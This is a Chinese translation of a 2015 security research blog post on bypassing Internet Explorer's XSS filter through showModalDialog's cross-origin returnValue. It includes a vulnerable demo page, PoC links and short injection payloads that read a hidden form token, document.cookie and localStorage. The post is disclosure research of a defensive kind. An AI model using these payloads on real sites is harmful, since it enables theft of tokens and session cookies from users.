利用showModalDialog绕过IE XSS过滤器的技术解析

本文详细分析了如何利用已被移除Web标准的showModalDialog函数来绕过IE浏览器的XSS过滤器,包含具体的技术实现步骤、漏洞利用条件和实际测试案例,为Web安全研究人员提供了有价值的技术参考。

利用showModalDialog绕过IE的XSS过滤器

大家好!我是Masato Kinugawa。终于,我开始用英语写博客了:) 同时我也会继续用日语写博客:http://masatokinugawa.l0.cm/ 今天,我想分享如何使用showModalDialog绕过IE的XSS过滤器。

showModalDialog函数已经过时,并且已从Web标准中移除,但它具有独特的机制。我认为它可能会有所用处。这就是我开始研究它的原因。 该函数仍然被IE、Firefox和Safari支持。

首先,让我们回顾一下showModalDialog的用法。

第一个参数是您想在模态对话框中打开的URL。 第二个参数是您想传递给模态对话框的参数。您可以在模态窗口中通过window.dialogArguments属性使用它。

要通过window.dialogArguments传递参数,两个窗口似乎必须是同源的。

但在returnValue的情况下则不同。在Safari和IE中,两个窗口不必是同源的。(只有Firefox需要同源)

以下是我的测试页面: http://vulnerabledoma.in/showModalDialog/opener.html

Safari可以简单地将其传递给不同源。请从"x-origin"按钮进行测试。 要在IE上重现,我们需要3xx重定向。请从"x-origin(redirect)“按钮进行测试。

这种行为意味着在Safari和IE中,我们可以通过returnValue属性将信息传递给另一个源的页面。这可能会在某些Web应用程序中造成漏洞。但当然,我不想在2015年讲解showModalDialog的安全用法:)

让我们进入主题,绕过IE的XSS过滤器。

可利用条件:

  • XSS存在于JS的字符串字面量中
  • 任何JS属性包含敏感信息

以下是我的测试页面:

http://vulnerabledoma.in/xss_token?q=[XSS_HERE]

1
2
3
4
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="[XSS_HERE]"</script>

眼见为实。请使用IE访问以下PoC:

http://l0.cm/xssfilter_bypass/showModalDialog.html

如果顺利,当您关闭模态对话框时,您可以在alert中看到token字符串。

让我们看看细节。重定向将您带到:

http://vulnerabledoma.in/xss_token?q=%22%3BreturnValue=form.token.value//

payload被注入:

1
2
3
4
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="";returnValue=form.token.value//"</script>

然后,token被传递到returnValue。是的!!

不用说,这也有效:

1
2
";returnValue=document.cookie//
";returnValue=localStorage.key//

我曾尝试通过window.opener访问其他页面的window对象,但没有成功。有什么想法吗?

就这样。明白了吗?:)

仅供参考,我过去曾写过一些关于XSS过滤器绕过技术的博客。(抱歉,只有日文文本) 如果您对其他绕过技术感兴趣,请使用Google翻译阅读。

  • ブラウザのXSS保護機能をバイパスする(1) (2012/2)
  • ブラウザのXSS保護機能をバイパスする(2) (2012/3)
  • ブラウザのXSS保護機能をバイパスする(3) (2012/9)
  • ブラウザのXSS保護機能をバイパスする(4) (2014/9)
  • ブラウザのXSS保護機能をバイパスする(5) (2014/10)

我会尽可能继续用英语写博客。

谢谢!

更新(2015/6/17)

我找到了一种通过returnValue传递其他同源页面信息的方法。 无论如何,请访问以下页面并点击"go"按钮。

http://l0.cm/xssfilter_bypass/showModalDialog2.html

如果顺利,您可以在alert对话框中看到其他同源页面信息的”

This is secret Text!

"。在这个PoC中,我们不需要3xx重定向。似乎我们可以从存在于showModalDialog中的iframe中的跨源页面设置returnValue。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计